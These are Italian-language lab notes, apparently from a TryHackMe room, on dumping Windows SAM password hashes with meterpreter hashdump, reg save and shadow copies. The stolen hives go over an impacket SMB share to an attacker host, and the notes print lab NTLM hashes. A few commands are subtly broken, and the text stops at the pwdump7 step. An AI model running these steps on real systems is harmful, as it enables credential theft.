tags: SAM Password_nel_SAM pwdump7 Dumping_SAM
Per ottenere le credenziali dell’account locale possiamo usare diversi metodi:
Hashdump
Questo è il metodo più semplice, se siamo in grado di ottenere una reverse shell meterpreter possiamo utilizzare il seguente comando per ottenere le credenziali contenute nel SAM:
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:98d3b784d80d18385cea5ab3aa2a4261::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ec44ddf5ae100b898e9edab74811430d::: CREDS-HARVESTIN$:1008:aad3b435b51404eeaad3b435b51404ee:443e64439a4b7fe780db47fc06a3342d:::
Registry Hives
Un altro possibile metodo per scaricare il contenuto del database SAM è tramite il Registro di sistema di Windows. Il Registro di sistema di Windows memorizza anche una copia di parte del contenuto del database SAM, che verrà utilizzata dai servizi Windows. Fortunatamente, possiamo salvare il valore del Registro di sistema di Windows utilizzando lo strumento reg.exe. Come accennato in precedenza, abbiamo bisogno di due file per decrittografare il contenuto del database SAM. Assicuratevi di eseguire il prompt dei comandi con privilegi di amministratore.
# Ci copiamo i due file necessari nella cartella Desktop
reg save HKLM\sam C:\users\Administrator\Desktop\sam-reg
reg save HKLM\system C:\users\Administrator\Desktop\system-reg
Tramite Impacket li trasferiamo sulla macchina attaccante nel seguente modo:
Nella macchina attaccante digitiamo:
# Importantissimo creare la cartella altrimenti non saprà dove copiarla
mkdir share
python3 /opt/impacket/examples/smbserver.py -smb2support -username panino -password panino2 public share
Nella macchina vittima:
#Prima dobbiamo autenticarci:
use \\192.168.165.50\public /user:panino panino2
The command completed successfully.
#Una volta autenticati possiamo traferire i file
sam-reg \\192.168.165.50\public\
1 file(s) copied.
copy sam-reg \\192.168.165.50\public\
1 file(s) copied.
Ora che abbiamo trasferito i file nella macchina attaccante possiamo utilizzare di nuovo Impacket per estrarre il contenuto:
python3 /opt/impacket/examples/secretsdump.py -sam /tmp/share/sam-reg -system /tmp/share/system-reg LOCAL
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:98d3a787a80d08385cea7fb4aa2a4261:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Cleaning up...
Volume Shadow Copy Service
Un altro approccio è quello di utilizzare il Microsoft Volume shadow copy service.
Per farlo dobbiamo utilizzare wmic per creare una copia shadow del volume. Questo deve essere fatto tramite il prompt dei comandi con privilegi di amministratore come segue:
-
Esegui il prompt cmd.exe standard con privilegi di amministratore.
-
Esegui il comando wmic per creare una copia shadow dell’unità C:
-
Verificare che la creazione del passaggio 2 sia disponibile.
-
Copia il database SAM dal volume creato nel passaggio 2
Ora applichiamo quanto detto sopra ed eseguiamo cmd.exe con privilegi di amministratore. Quindi eseguiamo il seguente comando wmic:
C:\Users\Administrator>wmic shadowcopy call create Volume='C:\'
Executing (Win32_ShadowCopy)->create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ReturnValue = 0;
ShadowID = "{D8A11619-474F-40AE-A5A0-C2FAA1D78B85}";
};
Una volta eseguito correttamente il comando, utilizziamo vssadmin, lo strumento da riga di comando amministrativo del servizio Copia Shadow del volume, per elencare e confermare di disporre di una copia shadow del volume C:.
C:\Users\Administrator>vssadmin list shadows
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.
Contents of shadow copy set ID: {0c404084-8ace-4cb8-a7ed-7d7ec659bb5f}
Contained 1 shadow copies at creation time: 5/31/2022 1:45:05 PM
Shadow Copy ID: {d8a11619-474f-40ae-a5a0-c2faa1d78b85}
Original Volume: (C:)\\?\Volume{19127295-0000-0000-0000-100000000000}\
Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
Originating Machine: Creds-Harvesting-AD.thm.red
Service Machine: Creds-Harvesting-AD.thm.red
Provider: 'Microsoft Software Shadow Copy provider 1.0'
Type: ClientAccessible
Attributes: Persistent, Client-accessible, No auto release, No writers, Differential
L’output mostra che abbiamo creato con successo un volume di copia shadow di (C:) con il seguente percorso: \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1.
Il database SAM è crittografato con algoritmi di crittografia RC4 o AES. Per decrittografarlo abbiamo bisogno di una chiave di decrittazione che è memorizzata anche nel file system in c:\Windows\System32\Config\system.
Ora copiamo entrambi i file (sam e sistema) dal volume della copia shadow che abbiamo generato sul desktop come segue:
C:\Users\Administrator>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\Administrator\Desktop\sam
1 file(s) copied.
C:\Users\Administrator>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\Administrator\Desktop\system
1 file(s) copied.
Ora puoi trasferire questi file nella tua macchian attaccante.
Tramite lo strumento pwdump7 possiamo estrarre le passoword contenute nel SAM:
